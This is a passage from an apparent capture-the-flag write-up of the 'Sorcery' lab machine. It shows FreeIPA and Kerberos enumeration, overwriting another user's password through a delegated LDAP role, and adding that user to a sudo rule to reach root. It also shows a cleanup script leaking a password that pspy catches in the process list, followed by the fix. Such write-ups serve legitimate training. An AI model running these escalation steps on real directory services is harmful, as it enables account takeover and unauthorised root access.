04/20/26 14:12:36  04/21/26 13:49:26  krbtgt/SORCERY.HTB@SORCERY.HTB
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dc01.sorcery.htb</code> is the Docker container I noticed <a href="#host">above</a> with multiple <code class="language-plaintext highlighter-rouge">docker-proxy</code> forwarders:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>getent hosts dc01.sorcery.htb
<span class="go">172.23.0.2      dc01.sorcery.htb
</span></code></pre></div></div>

<h4 id="client-tools-available">Client tools available</h4>

<p>The standard <code class="language-plaintext highlighter-rouge">ipa-client-install</code> payload is here:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>which ipa kinit ldapsearch ksu
<span class="go">/usr/bin/ipa
/usr/bin/kinit
/usr/bin/ldapsearch
/usr/bin/ksu
</span></code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ipa</code> - the Python CLI that talks to the IPA JSON-RPC API over HTTPS, authenticated with the Kerberos ticket.</li>
  <li><code class="language-plaintext highlighter-rouge">kinit</code> / <code class="language-plaintext highlighter-rouge">klist</code> / <code class="language-plaintext highlighter-rouge">kdestroy</code> - ticket lifecycle.</li>
  <li><code class="language-plaintext highlighter-rouge">ldapsearch</code> - direct LDAP to <code class="language-plaintext highlighter-rouge">dc01.sorcery.htb:389</code>, useful when the <code class="language-plaintext highlighter-rouge">ipa</code> wrapper hides an attribute.</li>
  <li><code class="language-plaintext highlighter-rouge">ksu</code> - Kerberized <code class="language-plaintext highlighter-rouge">su</code> (rarely needed, but present).</li>
</ul>

<h4 id="directory-contents">Directory contents</h4>

<p><code class="language-plaintext highlighter-rouge">ipa user-find</code> against the IPA server shows only three principals in <code class="language-plaintext highlighter-rouge">cn=users,cn=accounts,dc=sorcery,dc=htb</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>ipa user-find <span class="nt">--all</span> | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'User login|Member of groups|Member of HBAC'</span>
<span class="go">  User login: admin
  Member of groups: admins, trust admins
  Member of HBAC rule: allow_ssh, allow_sudo
  User login: ash_winter
  Member of groups: ipausers
  Member of HBAC rule: allow_ssh, allow_sudo
  User login: donna_adams
  Member of groups: ipausers
  Member of HBAC rule: allow_ssh, allow_sudo
</span></code></pre></div></div>

<p>The realm has a superuser admin plus two regular users, ash_winter and donna_adams. Both regular users are granted remote login and sudo on IPA-enrolled hosts via the <code class="language-plaintext highlighter-rouge">allow_ssh</code> and <code class="language-plaintext highlighter-rouge">allow_sudo</code> HBAC rules, which is why my <code class="language-plaintext highlighter-rouge">donna_adams</code> SSH login to <code class="language-plaintext highlighter-rouge">main</code> worked.</p>

<p>I’ll pull more information on donna_adams:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>ipa user-show donna_adams
<span class="go">  User login: donna_adams
  First name: donna
  Last name: adams
  Home directory: /home/donna_adams
  Login shell: /bin/sh
  Principal name: donna_adams@SORCERY.HTB
  Principal alias: donna_adams@SORCERY.HTB
  Email address: donna_adams@sorcery.htb
  UID: 1638400003
  GID: 1638400003
  Account disabled: False
  Password: True
  Member of groups: ipausers
  Member of HBAC rule: allow_sudo, allow_ssh
  Indirect Member of role: change_userPassword_ash_winter_ldap
  Kerberos keys available: True
</span></code></pre></div></div>

<p>They have an interesting “Indirect Member of role”. donna_adams doesn’t have permissions to get information about that role:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>ipa role-show change_userPassword_ash_winter_ldap
<span class="go">ipa: ERROR: change_userPassword_ash_winter_ldap: role not found
</span></code></pre></div></div>

<h3 id="change-password--ssh">Change Password / SSH</h3>

<p>While I can’t see explicitly what this role allows, the name is a pretty good hint. Presumably donna_adams can change the password of ash_winter over LDAP. There are a few ways to try this. The following don’t work:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ldappasswd -Y GSSAPI -H ldap://dc01.sorcery.htb -s '0xdf0xdf.' uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb</code></li>
  <li><code class="language-plaintext highlighter-rouge">ipa passwd ash_winter</code></li>
</ul>

<p>Both of those go through IPA’s higher-level password-change operation (the LDAP Modify Password extended op for <code class="language-plaintext highlighter-rouge">ldappasswd</code>, and the IPA API for <code class="language-plaintext highlighter-rouge">ipa passwd</code>), which this role doesn’t grant. What it does grant is the ability to write the <code class="language-plaintext highlighter-rouge">userPassword</code> attribute directly, so a raw <code class="language-plaintext highlighter-rouge">ldapmodify</code> does work:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>ldapmodify <span class="nt">-Y</span> GSSAPI <span class="nt">-H</span> ldap://dc01.sorcery.htb <span class="o">&lt;&lt;</span><span class="sh">'</span><span class="no">EOF</span><span class="sh">'
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">changetype: modify
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">replace: userPassword
</span><span class="gp">&gt;</span><span class="w"> </span><span class="sh">userPassword: 0xdf0xdf.
</span><span class="gp">&gt;</span><span class="w"> </span><span class="no">EOF
</span><span class="go">SASL/GSSAPI authentication started
SASL username: donna_adams@SORCERY.HTB
SASL SSF: 256
SASL data security layer installed.
modifying entry "uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb"
</span></code></pre></div></div>

<p>I can SSH, but I’ll need to change my password (so <code class="language-plaintext highlighter-rouge">sshpass</code> won’t work):</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> <span class="s1">'0xdf0xdf.'</span> ssh ash_winter@sorcery.htb
<span class="go">Password expired. Change your password now.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh ash_winter@sorcery.htb
<span class="go">(ash_winter@sorcery.htb) Password: 
Password expired. Change your password now.
(ash_winter@sorcery.htb) Current Password: 
(ash_winter@sorcery.htb) New password: 
(ash_winter@sorcery.htb) Retype new password: 
Creating directory '/home/ash_winter'.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
...[snip]...
</span><span class="gp">$</span><span class="w"> </span>bash
<span class="gp">ash_winter@main:~$</span><span class="w"> 
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ipa user-mod ash_winter --setattr userPassword=0xdf0xdf.</code> and <code class="language-plaintext highlighter-rouge">ipa user-mod ash_winter --passwd</code> both work as well.</p>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-5">Enumeration</h3>

<p>ash_winter has the ability to restart <code class="language-plaintext highlighter-rouge">sssd</code> with <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for ash_winter on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User ash_winter may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/systemctl restart sssd
</span></code></pre></div></div>

<p>I’ll check out ash_winter as a user in IPA:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa user-show ash_winter
<span class="go">  User login: ash_winter
  First name: ash
  Last name: winter
  Home directory: /home/ash_winter
  Login shell: /bin/sh
  Principal name: ash_winter@SORCERY.HTB
  Principal alias: ash_winter@SORCERY.HTB
  Email address: ash_winter@sorcery.htb
  UID: 1638400004
  GID: 1638400004
  Account disabled: False
  Password: True
  Member of groups: ipausers
  Member of HBAC rule: allow_ssh, allow_sudo
  Indirect Member of role: add_sysadmin
  Kerberos keys available: True
</span></code></pre></div></div>

<p>Just like with donna_adams, ash_winter doesn’t have permissions to view this role:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa role-show add_sysadmin
<span class="go">ipa: ERROR: add_sysadmin: role not found
</span></code></pre></div></div>

<p>There are five groups in this instance:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa group-find <span class="nt">--all</span>
<span class="go">----------------
5 groups matched
----------------
  dn: cn=admins,cn=groups,cn=accounts,dc=sorcery,dc=htb
  Group name: admins
  Description: Account administrators group
  GID: 1638400000
  Member users: admin
  ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-512
  ipauniqueid: 30051a92-96eb-11ef-a395-0242ac170002
  objectclass: top, groupofnames, posixgroup, ipausergroup, ipaobject, nestedGroup, ipaNTGroupAttrs

  dn: cn=editors,cn=groups,cn=accounts,dc=sorcery,dc=htb
  Group name: editors
  Description: Limited admins who can edit other users
  GID: 1638400002
  ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-1002
  ipauniqueid: 30055df4-96eb-11ef-9a7a-0242ac170002
  objectclass: top, groupofnames, posixgroup, ipausergroup, ipaobject, nestedGroup, ipantgroupattrs

  dn: cn=ipausers,cn=groups,cn=accounts,dc=sorcery,dc=htb
  Group name: ipausers
  Description: Default group for all users
  Member users: donna_adams, ash_winter
  ipauniqueid: 300541ac-96eb-11ef-8324-0242ac170002
  objectclass: top, groupofnames, nestedgroup, ipausergroup, ipaobject

  dn: cn=sysadmins,cn=groups,cn=accounts,dc=sorcery,dc=htb
  Group name: sysadmins
  GID: 1638400005
  Indirect Member of role: manage_sudorules_ldap
  ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-1005
  ipauniqueid: d038b410-96eb-11ef-ace5-0242ac170002
  objectclass: top, groupofnames, nestedgroup, ipausergroup, ipaobject, posixgroup, ipantgroupattrs

  dn: cn=trust admins,cn=groups,cn=accounts,dc=sorcery,dc=htb
  Group name: trust admins
  Description: Trusts administrators group
  Member users: admin
  ipauniqueid: 9534bbe8-96eb-11ef-8555-0242ac170002
  objectclass: top, groupofnames, ipausergroup, nestedgroup, ipaobject
----------------------------
Number of entries returned 5
----------------------------
</span></code></pre></div></div>

<p>One is named sysadmins, and it’s a member of manage_sudorules_ldap!</p>

<p>I’ll get a list of the existing <code class="language-plaintext highlighter-rouge">sudo</code> rules:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa sudorule-find
<span class="go">-------------------
1 Sudo Rule matched
-------------------
  Rule name: allow_sudo
  Enabled: True
  Host category: all
  Command category: all
  RunAs User category: all
  RunAs Group category: all
----------------------------
Number of entries returned 1
----------------------------
</span></code></pre></div></div>

<p>This rule lets users with it assigned to them run any command as any user.</p>

<h3 id="sudo-access">sudo Access</h3>

<p>I’ll have ash_winter add themselves to <code class="language-plaintext highlighter-rouge">sysadmins</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa group-add-member sysadmins <span class="nt">--users</span><span class="o">=</span>ash_winter
<span class="go">  Group name: sysadmins
  GID: 1638400005
  Member users: ash_winter
  Indirect Member of role: manage_sudorules_ldap
-------------------------
Number of members added 1
-------------------------
</span></code></pre></div></div>

<p>It worked. I can verify that ash_winter is in the sysadmins group:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa group-show sysadmins <span class="nt">--all</span>
<span class="go">  dn: cn=sysadmins,cn=groups,cn=accounts,dc=sorcery,dc=htb
  Group name: sysadmins
  GID: 1638400005
  Member users: ash_winter
  Indirect Member of role: manage_sudorules_ldap
  ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-1005
  ipauniqueid: d038b410-96eb-11ef-ace5-0242ac170002
  objectclass: top, groupofnames, nestedgroup, ipausergroup, ipaobject, posixgroup, ipantgroupattrs
</span><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa group-find <span class="nt">--user</span><span class="o">=</span>ash_winter
<span class="go">----------------
2 groups matched
----------------
  Group name: ipausers
  Description: Default group for all users

  Group name: sysadmins
  GID: 1638400005
----------------------------
Number of entries returned 2
----------------------------
</span></code></pre></div></div>

<p>I’ll attach the <code class="language-plaintext highlighter-rouge">allow_sudo</code> rule to ash_winter:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span>ipa sudorule-add-user allow_sudo <span class="nt">--users</span><span class="o">=</span>ash_winter
<span class="go">  Rule name: allow_sudo
  Enabled: True
  Host category: all
  Command category: all
  RunAs User category: all
  RunAs Group category: all
  Users: admin, ash_winter
-------------------------
Number of members added 1
-------------------------
</span></code></pre></div></div>

<p>It worked, but it won’t show up right away:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for ash_winter on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User ash_winter may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/systemctl restart sssd
</span></code></pre></div></div>

<p>First I need to restart <code class="language-plaintext highlighter-rouge">sssd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span><span class="nb">sudo </span>systemctl restart sssd
<span class="gp">ash_winter@main:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for ash_winter on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User ash_winter may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/systemctl restart sssd
    (ALL : ALL) ALL
</span></code></pre></div></div>

<p>And it worked! For some reason, <code class="language-plaintext highlighter-rouge">sudo -i</code> doesn’t work:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-i</span>
<span class="go">sudo: PAM account management error: Permission denied
sudo: a password is required
</span></code></pre></div></div>

<p>But <code class="language-plaintext highlighter-rouge">sudo su -</code> does:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ash_winter@main:~$</span><span class="w"> </span><span class="nb">sudo </span>su -
<span class="gp">root@main:~#</span><span class="w"> 
</span></code></pre></div></div>

<p>And read the root flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@main:~#</span><span class="w"> </span><span class="nb">cat </span>root.txt
<span class="go">dd45620a************************
</span></code></pre></div></div>

<h2 id="beyond-root---cleanup-abuse">Beyond Root - Cleanup Abuse</h2>

<h3 id="shortcut-overview">Shortcut Overview</h3>

<p>There’s a cleanup script that leaks the password for ash_winter before it was <a href="#patch">patched just before this box retired</a>. Observing this allows for skipping all the way from having an initial shell as tom_summers to the final pre-root shell of ash_winter:</p>

<pre><code class="language-mermaid">flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] ---&gt;|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] ---&gt;|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as tom_summers]--&gt;B(&lt;a href='#recover-password'&gt;Read Password\nfrom Xvfb&lt;/a&gt;);
    B--&gt;C[&lt;a href='#shell-as-tom_summers_admin'&gt;Shell as tom_summers_admin&lt;/a&gt;];
    C--&gt;D(&lt;a href='#docker-registry-authentication'&gt;Docker Registry\nAuthentication&lt;/a&gt;);
    D--&gt;E(&lt;a href='#recover-password-1'&gt;Recover Password\nfrom Image&lt;/a&gt;);
    E--&gt;F[&lt;a href='#shell-as-donna_adams'&gt;Shell as donna_adams&lt;/a&gt;];
    F--&gt;G(&lt;a href='#change-password--ssh'&gt;Password Change&lt;/a&gt;);
    G--&gt;H[&lt;a href='#shell-as-ash_winter'&gt;Shell as ash_winter&lt;/a&gt;];
    A--&gt;I(&lt;a href='#abuse-process-monitoring'&gt;Recover Password\nfrom Cleanup Script&lt;/a&gt;);
    I--&gt;H;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,9,10 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
</code></pre>

<h3 id="abuse-process-monitoring">Abuse Process Monitoring</h3>

<p>It’s not super easy to catch with <a href="https://github.com/DominicBreuker/pspy">pspy</a>, but it is possible:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">2026/04/19 14:11:02 CMD: UID=1638400000 PID=338127 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep 
2026/04/19 14:31:02 CMD: UID=1638400000 PID=371376 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep 
2026/04/19 15:51:02 CMD: UID=1638400000 PID=504188 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep 
2026/04/19 16:01:02 CMD: UID=1638400000 PID=520791 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep 
</span></code></pre></div></div>

<p>It seems to run every 10 minutes, and gives away the password for ash_winter!</p>

<p>On a clean boot, this works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh ash_winter@sorcery.htb
<span class="go">(ash_winter@sorcery.htb) Password: 
Password expired. Change your password now.
(ash_winter@sorcery.htb) Current Password: 
(ash_winter@sorcery.htb) New password: 
(ash_winter@sorcery.htb) Retype new password: 
Creating directory '/home/ash_winter'.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
...[snip]...
</span><span class="gp">$</span><span class="w">
</span></code></pre></div></div>

<p>Interestingly, once the password is changed, it never changes back! I’ll show why below.</p>

<h3 id="cleanup-details">Cleanup Details</h3>

<h4 id="as-tom_summers">As tom_summers</h4>

<p>As tom_summers I can see a service called Cleanup at <code class="language-plaintext highlighter-rouge">/etc/systemd/system/cleanup.service</code>:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Unit]</span><span class="w">
</span><span class="py">Description</span><span class="p">=</span><span class="s">Run IPA cleanup script</span>
<span class="w">
</span><span class="nn">[Service]</span><span class="w">
</span><span class="py">Type</span><span class="p">=</span><span class="s">oneshot</span>
<span class="py">User</span><span class="p">=</span><span class="s">admin</span>
<span class="py">ExecStart</span><span class="p">=</span><span class="s">/opt/scripts/cleanup.sh</span>
</code></pre></div></div>

<p>It runs <code class="language-plaintext highlighter-rouge">/opt/scripts/cleanup.sh</code>, which only admins can access:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /opt/
<span class="go">total 8
drwx--x--x 4 root  root   4096 Oct 31  2024 containerd
drwx------ 2 admin admins 4096 Apr 25  2025 scripts
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/etc/systemd/system/cleanup.timer</code> shows that it runs every 10 minutes:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Unit]</span><span class="w">
</span><span class="py">Description</span><span class="p">=</span><span class="s">Run IPA cleanup script every 10 minutes</span>
<span class="w">
</span><span class="nn">[Timer]</span><span class="w">
</span><span class="py">OnBootSec</span><span class="p">=</span><span class="s">10min</span>
<span class="py">OnUnitActiveSec</span><span class="p">=</span><span class="s">10min</span>
<span class="py">Unit</span><span class="p">=</span><span class="s">cleanup.service</span>
<span class="w">
</span><span class="nn">[Install]</span><span class="w">
</span><span class="py">WantedBy</span><span class="p">=</span><span class="s">timers.target</span>
</code></pre></div></div>

<h4 id="as-root">As root</h4>

<p>As root, I can access <code class="language-plaintext highlighter-rouge">cleanup.sh</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>/tmp/krb5cc_admin_cron
kinit <span class="nt">-k</span> <span class="nt">-t</span> /opt/scripts/admin.keytab admin

<span class="nb">split</span><span class="o">()</span> <span class="o">{</span>
    <span class="nb">awk</span> <span class="nt">-F</span>: <span class="s1">'{ print $2 }'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">' '</span> | <span class="nb">tr</span> <span class="s1">','</span> <span class="s1">'\n'</span>
<span class="o">}</span>

<span class="nv">sysadmins</span><span class="o">=</span><span class="si">$(</span>ipa group-show sysadmins<span class="si">)</span>
<span class="k">for </span>group <span class="k">in</span> <span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$sysadmins</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="s2">"Member groups: "</span> | <span class="nb">split</span><span class="si">)</span><span class="p">;</span> <span class="k">do
    </span>ipa group-remove-member sysadmins <span class="nt">--group</span> <span class="s2">"</span><span class="nv">$group</span><span class="s2">"</span><span class="p">;</span>
<span class="k">done
for </span>user <span class="k">in</span> <span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$sysadmins</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="s2">"Member users: "</span> | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s2">"Indirect"</span> | <span class="nb">split</span><span class="si">)</span><span class="p">;</span> <span class="k">do
    </span>ipa group-remove-member sysadmins <span class="nt">--user</span> <span class="s2">"</span><span class="nv">$user</span><span class="s2">"</span><span class="p">;</span>
<span class="k">done

for </span>rule <span class="k">in</span> <span class="si">$(</span>ipa sudorule-find | <span class="nb">grep</span> <span class="s2">"Rule name: "</span> | <span class="nb">split</span><span class="si">)</span><span class="p">;</span> <span class="k">do
    </span><span class="nv">output</span><span class="o">=</span><span class="si">$(</span>ipa sudorule-show <span class="s2">"</span><span class="nv">$rule</span><span class="s2">"</span><span class="si">)</span><span class="p">;</span>
    <span class="k">for </span>user <span class="k">in</span> <span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$output</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="s2">"Users: "</span> | <span class="nb">split</span><span class="si">)</span><span class="p">;</span> <span class="k">do
         if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$user</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"admin"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$rule</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"allow_sudo"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
             continue</span><span class="p">;</span>
         <span class="k">fi
         </span>ipa sudorule-remove-user <span class="s2">"</span><span class="nv">$rule</span><span class="s2">"</span> <span class="nt">--user</span> <span class="s2">"</span><span class="nv">$user</span><span class="s2">"</span><span class="p">;</span>
    <span class="k">done
    for </span>group <span class="k">in</span> <span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$output</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="s2">"User Groups: "</span> | <span class="nb">split</span><span class="si">)</span><span class="p">;</span> <span class="k">do
         </span>ipa sudorule-remove-user <span class="s2">"</span><span class="nv">$rule</span><span class="s2">"</span> <span class="nt">--group</span> <span class="s2">"</span><span class="nv">$group</span><span class="s2">"</span><span class="p">;</span>
    <span class="k">done
    if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$rule</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"allow_sudo"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
        </span>ipa sudorule-del <span class="s2">"</span><span class="nv">$rule</span><span class="s2">"</span><span class="p">;</span>
    <span class="k">fi
done

</span>ipa user-mod ash_winter <span class="nt">--setattr</span> <span class="nv">userPassword</span><span class="o">=</span>w@LoiU8Crmdep
</code></pre></div></div>

<p>It is resetting all the groups and rules that get changed in the final steps, and then resets ash_winter’s password. To auth, it configures <code class="language-plaintext highlighter-rouge">/tmp/krb5cc_admin_cron</code> as an output file, and then uses <code class="language-plaintext highlighter-rouge">/opt/scripts/admin.keytab</code> to auth.</p>

<p>The problem is that <code class="language-plaintext highlighter-rouge">kinit -k -t admin.keytab admin</code> fails:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@main:/opt/scripts#</span><span class="w"> </span>kinit <span class="nt">-k</span> <span class="nt">-t</span> ./admin.keytab admin
<span class="go">kinit: Password has expired while getting initial credentials
</span></code></pre></div></div>

<p>The admin user’s password expired. It looks like it expired just over a month after release (on June 14, 2025):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@main:/opt/scripts#</span><span class="w"> </span>docker <span class="nb">exec</span> <span class="nt">-it</span> ipa-dc01.sorcery.htb-1 kadmin.local <span class="nt">-q</span> <span class="s1">'getprinc admin'</span>
<span class="go">Authenticating as principal root/admin@SORCERY.HTB with password.
Principal: admin@SORCERY.HTB
Expiration date: [never]
Last password change: Fri Apr 25 12:43:05 UTC 2025
Password expiration date: Thu Jul 24 12:42:45 UTC 2025
Maximum ticket life: 1 day 00:00:00
Maximum renewable life: 7 days 00:00:00
Last modified: Fri Apr 25 12:43:05 UTC 2025 (admin@SORCERY.HTB)
Last successful authentication: [never]
Last failed authentication: Fri Apr 25 12:42:28 UTC 2025
Failed password attempts: 0
Number of keys: 4
Key: vno 3, aes256-cts-hmac-sha384-192:special
Key: vno 3, aes128-cts-hmac-sha256-128:special
Key: vno 3, aes256-cts-hmac-sha1-96:special
Key: vno 3, aes128-cts-hmac-sha1-96:special
MKey: vno 1
Attributes: REQUIRES_PRE_AUTH DISALLOW_SVR
Policy: [none]
</span></code></pre></div></div>

<h3 id="patch">Patch</h3>

<p>This was patched on 24 April 2026, just before the box retired:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260424164957753.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260424164957753.png" alt="image-20260424164957753" class="include_image " />
</picture>

<p>Now the last line of the script has been replaced with:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">read</span> <span class="nt">-r</span> IPA_PASS &lt; /opt/scripts/ash_password
<span class="c">#ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep</span>
ipa passwd ash_winter &lt; &lt;<span class="o">(</span><span class="nb">printf</span> <span class="s1">'%s\n%s\n'</span> <span class="s2">"</span><span class="nv">$IPA_PASS</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$IPA_PASS</span><span class="s2">"</span><span class="o">)</span>
</code></pre></div></div>

<p>It’s reading the password from a file rather than printing it somewhere that will show up in the process list.</p>

<p>They also fixed the user’s expired password:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260424165533220.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260424165533220.png" alt="image-20260424165533220" class="include_image " />
</picture>

<p>Now the auth as admin works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@main:/opt/scripts#</span><span class="w"> </span>kinit <span class="nt">-k</span> <span class="nt">-t</span> ./admin.keytab admin
<span class="gp">root@main:/opt/scripts#</span><span class="w"> </span>klist
<span class="go">Ticket cache: KEYRING:persistent:0:0
Default principal: admin@SORCERY.HTB

Valid starting     Expires            Service principal
04/24/26 20:50:11  04/25/26 20:33:20  krbtgt/SORCERY.HTB@SORCERY.HTB
</span></code></pre></div></div>

<p>I can confirm that the password now expires in 2099:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@main:/#</span><span class="w"> </span>docker <span class="nb">exec</span> <span class="nt">-it</span> ipa-dc01.sorcery.htb-1 kadmin.local <span class="nt">-q</span> <span class="s1">'getprinc admin'</span>
<span class="go">Authenticating as principal root/admin@SORCERY.HTB with password.
Principal: admin@SORCERY.HTB
Expiration date: [never]
Last password change: Thu Apr 23 10:43:45 UTC 2026
Password expiration date: Thu Jan 01 00:00:00 UTC 2099
Maximum ticket life: 1 day 00:00:00
Maximum renewable life: 7 days 00:00:00
Last modified: Thu Apr 23 10:43:45 UTC 2026 (admin@SORCERY.HTB)
Last successful authentication: [never]
Last failed authentication: Fri Apr 24 20:40:17 UTC 2026
